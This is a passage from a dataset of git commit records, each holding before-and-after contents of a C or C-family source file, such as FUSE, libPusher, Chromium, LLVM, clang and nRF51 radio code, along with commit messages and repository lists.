_FUSE_LISTENER_H_\n\n#include <fuse_lowlevel.h>\n\n\/* The following options are explained in FUSE README file *\/\n#define FUSE_OPTIONS \"use_ino,allow_other,max_write=134217728,big_writes\"\n\nvoid\tslash2fuse_listener_exit(void);\nint\tslash2fuse_listener_init(void);\nint\tslash2fuse_listener_start(void);\nint\tslash2fuse_newfs(const char *, struct fuse_chan *);\n\nextern int exit_fuse_listener;\n\n#endif \/* _FUSE_LISTENER_H_ *\/\n","subject":"Add use_ino to see if it helps our rename replay bug.","message":"Add use_ino to see if it helps our rename replay bug.\n\n\ngit-svn-id: ae92b08b608af1c8cefa3e10d2325ea527204e07@11960 3eda493b-6a19-0410-b2e0-ec8ea4dd8fda\n","lang":"C","license":"isc","repos":"pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable,pscedu\/slash2-stable"}
{"commit":"c00b719326a4055f203fa22b228452311d00d5f0","old_file":"Library\/Pusher.h","new_file":"Library\/Pusher.h","old_contents":"\/\/\n\/\/  libPusher.h\n\/\/  Pods\n\/\/\n\/\/  Created by Alexander Schuch on 08\/04\/13.\n\/\/\n\/\/\n\n#import <Pusher\/PTPusher.h>\n#import <Pusher\/PTPusherServerBasedAuthorization.h>\n#import <Pusher\/PTPusherChannel.h>\n#import <Pusher\/PTPusherEvent.h>\n#import <Pusher\/PTPusherAPI.h>\n#import <Pusher\/PTPusherEventDispatcher.h>\n","new_contents":"\/\/\n\/\/  libPusher.h\n\/\/  Pods\n\/\/\n\/\/  Created by Alexander Schuch on 08\/04\/13.\n\/\/\n\/\/\n\n#import \"PTPusher.h\"\n#import \"PTPusherChannelServerBasedAuthorization.h\"\n#import \"PTPusherChannel.h\"\n#import \"PTPusherEvent.h\"\n#import \"PTPusherAPI.h\"\n","subject":"Use quoted paths in global header.","message":"Use quoted paths in global header.","lang":"C","license":"mit","repos":"hamchapman\/libPusher,hamchapman\/libPusher,lukeredpath\/libPusher,hamchapman\/libPusher,hamchapman\/libPusher,lukeredpath\/libPusher,lukeredpath\/libPusher,lukeredpath\/libPusher"}
{"commit":"ba84947c6085e4851198dc21b4e7abb477b7f20f","old_file":"os\/atNetwork.h","new_file":"os\/atNetwork.h","old_contents":"\n#ifndef AT_NETWORK_H\n#define AT_NETWORK_H\n\n\n\/\/ Under Windows, define stuff that we need\n#ifdef _MSC_VER\n    #include <winsock.h>\n\n    #define MAXHOSTNAMELEN   64\n\n    #define EWOULDBLOCK   WSAEWOULDBLOCK\n    #define EINPROGRESS   WSAEINPROGRESS\n    #define MSG_WAITALL   0\n\n    typedef SOCKET   Socket;\n    typedef int      socklen_t;\n    typedef char     SocketOptionFlag;\n#else\n    #include <unistd.h>\n    #include <string.h>\n    #include <netdb.h>\n    #include <fcntl.h>\n    #include <errno.h>\n    #include <sys\/types.h>\n    #include <sys\/socket.h>\n    #include <sys\/param.h>\n    #include <sys\/select.h>\n    #include <netinet\/in.h>\n    #include <netinet\/tcp.h>\n\n    typedef int   Socket;\n    typedef int   SocketOptionFlag;\n#endif\n\n\nvoid     initNetwork();\nvoid     cleanupNetwork();\n\nSocket   openSocket(int domain, int type, int protocol);\nvoid     closeSocket(Socket socket);\n\nvoid     setBlockingFlag(Socket socket, bool block);\nbool     getBlockingFlag(Socket socket);\n\n\n#endif\n\n","new_contents":"\n#ifndef AT_NETWORK_H\n#define AT_NETWORK_H\n\n\n\/\/ Under Windows, define stuff that we need\n#ifdef _MSC_VER\n    #include <winsock.h>\n\n    #define MAXHOSTNAMELEN   64\n\n    #define EWOULDBLOCK   WSAEWOULDBLOCK\n    #define EINPROGRESS   WSAEINPROGRESS\n    #define MSG_WAITALL   0\n\n    typedef SOCKET   Socket;\n    typedef int      socklen_t;\n    typedef char     SocketOptionFlag;\n    typedef int      SocketOptionValue;\n#else\n    #include <unistd.h>\n    #include <string.h>\n    #include <netdb.h>\n    #include <fcntl.h>\n    #include <errno.h>\n    #include <sys\/types.h>\n    #include <sys\/socket.h>\n    #include <sys\/param.h>\n    #include <sys\/select.h>\n    #include <netinet\/in.h>\n    #include <netinet\/tcp.h>\n\n    typedef int   Socket;\n    typedef int   SocketOptionFlag;\n    typedef int   SocketOptionValue;\n#endif\n\n\nvoid     initNetwork();\nvoid     cleanupNetwork();\n\nSocket   openSocket(int domain, int type, int protocol);\nvoid     closeSocket(Socket socket);\n\nvoid     setBlockingFlag(Socket socket, bool block);\nbool     getBlockingFlag(Socket socket);\n\n\n#endif\n\n","subject":"Add new typedef for values sent to setsockopt().","message":"Add new typedef for values sent to setsockopt().\n","lang":"C","license":"apache-2.0","repos":"ucfistirl\/atlas,ucfistirl\/atlas"}
{"commit":"ee1bd4be9c2f599bde27de707b61b2e19b1cc2b8","old_file":"src\/mapraised.c","new_file":"src\/mapraised.c","old_contents":"\/* Copyright (c) 2013 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * Maps and raises the specified window id (integer).\n *\/\n\n#include <X11\/Xlib.h>\n#include <stdlib.h>\n\nint main(int argc, char** argv) {\n    if (argc != 2) return 2;\n    Display* display = XOpenDisplay(NULL);\n    if (!display) return 1;\n    XMapRaised(display, atoi(argv[1]));\n    XCloseDisplay(display);\n    return 0;\n}\n","new_contents":"\/* Copyright (c) 2013 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * Maps and raises the specified window id (integer).\n *\/\n\n\/* TODO: use XResizeWindow to do the +1 width ratpoison hack.\n * And at this point, we might as well use XMoveResizeWindow, rename this to\n * wmtool and unmap the previously-mapped window, and perhaps call the\n * equivalent of XRefresh, eliminating the need for ratpoison entirely (!!).\n *\/\n\n#include <X11\/Xlib.h>\n#include <stdlib.h>\n\nint main(int argc, char** argv) {\n    if (argc != 2) return 2;\n    Display* display = XOpenDisplay(NULL);\n    if (!display) return 1;\n    XMapRaised(display, atoi(argv[1]));\n    XCloseDisplay(display);\n    return 0;\n}\n","subject":"Add TODO to replace ratpoison.","message":"Add TODO to replace ratpoison.\n","lang":"C","license":"bsd-3-clause","repos":"tedm\/crouton,mkasick\/crouton,twmccart\/crouton,tedm\/crouton,fxcebx\/crouton,fxcebx\/crouton,tedm\/crouton,taterbase\/crouton,fxcebx\/crouton,taterbase\/crouton,rperce\/chroagh,arbuztw\/crouton,mkasick\/crouton,stephen-soltesz\/crouton,mkasick\/crouton,DanDanBu\/crouton,jamgregory\/crouton,jamgregory\/crouton,tonyxue\/cruise,twmccart\/crouton,Timvrakas\/crouton,rperce\/chroagh,rperce\/chroagh,DanDanBu\/crouton,jamgregory\/crouton,djmrr\/crouton,zofuthan\/crouton,fxcebx\/crouton,zofuthan\/crouton,VandeurenGlenn\/crouton,mkasick\/crouton,stephen-soltesz\/crouton,rperce\/chroagh,dragon788\/chroagh,armgong\/chroagh,tonyxue\/cruise,ikaritw\/crouton,marriop\/newCrouton,twmccart\/crouton,twmccart\/crouton,ikaritw\/crouton,JDGBOLT\/chroagh,tedm\/crouton,dnschneid\/crouton,fxcebx\/crouton,elkangaroo\/chroagh,arbuztw\/crouton,dnschneid\/crouton,stephen-soltesz\/crouton,elkangaroo\/chroagh,arbuztw\/crouton,dragon788\/chroagh,armgong\/chroagh,DanDanBu\/crouton,VandeurenGlenn\/crouton,nromsdahl\/crouton,tonyxue\/cruise,tonyxue\/cruise,jamgregory\/crouton,arbuztw\/crouton,ikaritw\/crouton,elkangaroo\/chroagh,tonyxue\/cruise,nromsdahl\/crouton,elkangaroo\/chroagh,Timvrakas\/crouton,twmccart\/crouton,taterbase\/crouton,dragon788\/chroagh,stephen-soltesz\/crouton,stephen-soltesz\/crouton,JDGBOLT\/chroagh,armgong\/chroagh,JDGBOLT\/chroagh,nromsdahl\/crouton,ikaritw\/crouton,dnschneid\/crouton,zofuthan\/crouton,StrawnPoint04\/crouton,JDGBOLT\/chroagh,VandeurenGlenn\/crouton,dragon788\/chroagh,zofuthan\/crouton,elkangaroo\/chroagh,brayniac\/crouton,marriop\/newCrouton,armgong\/chroagh,Timvrakas\/crouton,jamgregory\/crouton,mkasick\/crouton,VandeurenGlenn\/crouton,JDGBOLT\/chroagh,StrawnPoint04\/crouton,zofuthan\/crouton,jamgregory\/crouton,ikaritw\/crouton,armgong\/chroagh,dnschneid\/crouton,elkangaroo\/chroagh,tedm\/crouton,VandeurenGlenn\/crouton,VandeurenGlenn\/crouton,brayniac\/crouton,arbuztw\/crouton,Timvrakas\/crouton,JDGBOLT\/chroagh,taterbase\/crouton,dnschneid\/crouton,djmrr\/crouton,twmccart\/crouton,djmrr\/crouton,ikaritw\/crouton,djmrr\/crouton,nromsdahl\/crouton,rperce\/chroagh,taterbase\/crouton,taterbase\/crouton,djmrr\/crouton,StrawnPoint04\/crouton,djmrr\/crouton,armgong\/chroagh,marriop\/newCrouton,tedm\/crouton,tonyxue\/cruise,arbuztw\/crouton,brayniac\/crouton,brayniac\/crouton,zofuthan\/crouton,dnschneid\/crouton,StrawnPoint04\/crouton,StrawnPoint04\/crouton,dragon788\/chroagh,mkasick\/crouton,DanDanBu\/crouton,nromsdahl\/crouton,DanDanBu\/crouton,brayniac\/crouton,dragon788\/chroagh,Timvrakas\/crouton,fxcebx\/crouton,nromsdahl\/crouton,stephen-soltesz\/crouton,StrawnPoint04\/crouton,Timvrakas\/crouton,DanDanBu\/crouton,rperce\/chroagh,brayniac\/crouton"}
{"commit":"7ca0689b9b3f085d398062f7f09059f7be691829","old_file":"test\/CFrontend\/2007-03-05-DataLayout.c","new_file":"test\/CFrontend\/2007-03-05-DataLayout.c","old_contents":"","new_contents":"\/\/ Testcase for PR1242\n\/\/ RUN: %llvmgcc -c %s -o %t && lli --force-interpreter=1 %t\n#include <stdlib.h>\n#define NDIM 3\n#define BODY 01\ntypedef double vector[NDIM];\ntypedef struct bnode* bodyptr;\n\/\/ { i16, double, [3 x double], i32, i32, [3 x double], [3 x double], [3 x\n\/\/ double], double, \\2 *, \\2 * }\nstruct bnode {\n  short int type;\n  double mass;\n  vector pos;\n  int proc;\n  int new_proc;\n  vector vel;\n  vector acc;\n  vector new_acc;\n  double phi;\n  bodyptr next;\n  bodyptr proc_next;\n} body;\n\n#define Type(x) ((x)->type)\n#define Mass(x) ((x)->mass)\n#define Pos(x)  ((x)->pos)\n#define Proc(x) ((x)->proc)\n#define New_Proc(x) ((x)->new_proc)\n#define Vel(x)  ((x)->vel)\n#define Acc(x)  ((x)->acc)\n#define New_Acc(x)  ((x)->new_acc)\n#define Phi(x)  ((x)->phi)\n#define Next(x) ((x)->next)\n#define Proc_Next(x) ((x)->proc_next)\n\nbodyptr ubody_alloc(int p)\n{ \n  register bodyptr tmp;\n  tmp = (bodyptr)malloc(sizeof(body));\n\n  Type(tmp) = BODY;\n  Proc(tmp) = p;\n  Proc_Next(tmp) = NULL;\n  New_Proc(tmp) = p;\n  return tmp;\n}\n\nint main(int argc, char** argv) {\n  bodyptr b = ubody_alloc(17);\n  return 0;\n}\n","subject":"Test to ensure that data layout is generated correctly for host platform. This is for PR1242.","message":"Test to ensure that data layout is generated correctly for host platform.\nThis is for PR1242.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@34944 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"659a95bf640de07acaa34a341033d581e4db0bd2","old_file":"chrome\/browser\/chromeos\/login\/mock_user_manager.h","new_file":"chrome\/browser\/chromeos\/login\/mock_user_manager.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n#define CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n#pragma once\n\n#include <string>\n#include <vector>\n\n#include \"chrome\/browser\/chromeos\/login\/user_manager.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n\nnamespace chromeos {\n\nclass MockUserManager : public UserManager {\n public:\n  MockUserManager() {}\n  virtual ~MockUserManager() {}\n\n  MOCK_CONST_METHOD0(GetUsers, std::vector<User>());\n  MOCK_METHOD0(OffTheRecordUserLoggedIn, void());\n  MOCK_METHOD1(UserLoggedIn, void(const std::string&));\n  MOCK_METHOD1(RemoveUser, void(const std::string&));\n  MOCK_METHOD1(IsKnownUser, bool(const std::string&));\n  MOCK_CONST_METHOD0(logged_in_user, const User&());\n  MOCK_METHOD0(current_user_is_owner, bool());\n  MOCK_METHOD1(set_current_user_is_owner, void(bool));\n};\n\n}  \/\/ namespace chromeos\n\n#endif  \/\/ CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n#define CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n#pragma once\n\n#include <string>\n#include <vector>\n\n#include \"chrome\/browser\/chromeos\/login\/user_manager.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n\nnamespace chromeos {\n\nclass MockUserManager : public UserManager {\n public:\n  MockUserManager() {}\n  virtual ~MockUserManager() {}\n\n  MOCK_CONST_METHOD0(GetUsers, std::vector<User>());\n  MOCK_METHOD0(OffTheRecordUserLoggedIn, void());\n  MOCK_METHOD1(UserLoggedIn, void(const std::string&));\n  MOCK_METHOD2(RemoveUser, void(const std::string&, RemoveUserDelegate*));\n  MOCK_METHOD1(IsKnownUser, bool(const std::string&));\n  MOCK_CONST_METHOD0(logged_in_user, const User&());\n  MOCK_CONST_METHOD0(current_user_is_owner, bool());\n  MOCK_METHOD1(set_current_user_is_owner, void(bool));\n};\n\n}  \/\/ namespace chromeos\n\n#endif  \/\/ CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n","subject":"Fix clang warning in tests for Chrome OS","message":"Fix clang warning in tests for Chrome OS\n\nBUG=none\nTEST=build with clang and gcc\n\nReview URL: http:\/\/codereview.chromium.org\/7002028\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@84970 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Just-D\/chromium-1,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,robclark\/chromium,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,M4sse\/chromium.src,littlstar\/chromium.src,axinging\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,M4sse\/chromium.src,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,robclark\/chromium,robclark\/chromium,hujiajie\/pa-chromium,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,rogerwang\/chromium,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,keishi\/chromium,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,keishi\/chromium,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,robclark\/chromium,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,littlstar\/chromium.src,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,patrickm\/chromium.src,ltilve\/chromium,nacl-webkit\/chrome_deps,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,mogoweb\/chromium-crosswalk,dednal\/chromium.src,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,anirudhSK\/chromium,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,patrickm\/chromium.src,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,Just-D\/chromium-1,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,dednal\/chromium.src,rogerwang\/chromium,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,markYoungH\/chromium.src,jaruba\/chromium.src,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,keishi\/chromium,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,hujiajie\/pa-chromium,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,keishi\/chromium,nacl-webkit\/chrome_deps,Just-D\/chromium-1,rogerwang\/chromium,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,Jonekee\/chromium.src,littlstar\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,ltilve\/chromium,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,robclark\/chromium,robclark\/chromium,pozdnyakov\/chromium-crosswalk,keishi\/chromium,markYoungH\/chromium.src,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,patrickm\/chromium.src,chuan9\/chromium-crosswalk,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,anirudhSK\/chromium,rogerwang\/chromium,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,keishi\/chromium,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,keishi\/chromium,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,ltilve\/chromium,rogerwang\/chromium,dednal\/chromium.src,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,ltilve\/chromium,anirudhSK\/chromium,rogerwang\/chromium,markYoungH\/chromium.src,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,robclark\/chromium,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,keishi\/chromium,jaruba\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,jaruba\/chromium.src,ltilve\/chromium,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,markYoungH\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,robclark\/chromium,axinging\/chromium-crosswalk,littlstar\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,patrickm\/chromium.src,timopulkkinen\/BubbleFish,robclark\/chromium,Chilledheart\/chromium,ondra-novak\/chromium.src,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,keishi\/chromium,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,robclark\/chromium,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,hujiajie\/pa-chromium,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,dednal\/chromium.src,M4sse\/chromium.src,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,jaruba\/chromium.src,nacl-webkit\/chrome_deps"}
{"commit":"8891184b232879b80350fec7e2e7a6ce2f25c9fd","old_file":"test\/Lexer\/digraph.c","new_file":"test\/Lexer\/digraph.c","old_contents":"\/\/ RUN: clang -fsyntax-only %s\n\n%:include <stdio.h>\n\n    %:ifndef BUFSIZE\n     %:define BUFSIZE  512\n    %:endif\n\n    void copy(char d<::>, const char s<::>, int len)\n    <%\n        while (len-- >= 0)\n        <%\n            d<:len:> = s<:len:>;\n        %>\n    %>\n","new_contents":"\/\/ RUN: clang -fsyntax-only -verify < %s\n\n%:include <stdio.h>\n\n    %:ifndef BUFSIZE\n     %:define BUFSIZE  512\n    %:endif\n\n    void copy(char d<::>, const char s<::>, int len)\n    <%\n        while (len-- >= 0)\n        <%\n            d<:len:> = s<:len:>;\n        %>\n    %>\n","subject":"Fix the run line for this test.","message":"Fix the run line for this test.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@52169 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"672cb8ff4892b115e1aebda2713e6d37a3b31e61","old_file":"app\/tx\/main.c","new_file":"app\/tx\/main.c","old_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"nrf51.h\"\n#include \"nrf_delay.h\"\n\n#include \"error.h\"\n#include \"gpio.h\"\n#include \"led.h\"\n#include \"radio.h\"\n\nvoid error_handler(uint32_t err_code, uint32_t line_num, char * file_name)\n{\n    while (1)\n    {\n        for (uint8_t i = LED_START; i < LED_STOP; i++)\n        {\n            gpio_pin_toggle(i);\n            nrf_delay_us(50000);\n        }\n    }\n}\nvoid radio_evt_handler(radio_evt_t * evt)\n{\n\n}\n\nint main(void)\n{\n    uint8_t i = 0; \n\n    radio_packet_t packet;\n    packet.len = 4;\n    packet.flags.ack = 0;\n\n    radio_init(radio_evt_handler);\n\n    gpio_pins_cfg_out(LED_START, LED_STOP);\n\n    while (1)\n    {\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        radio_send(&packet);\n\n        gpio_pin_toggle(LED0);\n        nrf_delay_us(1000000);\n    }\n}\n","new_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"nrf51.h\"\n#include \"nrf_delay.h\"\n\n#include \"error.h\"\n#include \"gpio.h\"\n#include \"led.h\"\n#include \"radio.h\"\n\nvoid error_handler(uint32_t err_code, uint32_t line_num, char * file_name)\n{\n    while (1)\n    {\n        for (uint8_t i = LED_START; i < LED_STOP; i++)\n        {\n            gpio_pin_toggle(i);\n            nrf_delay_us(50000);\n        }\n    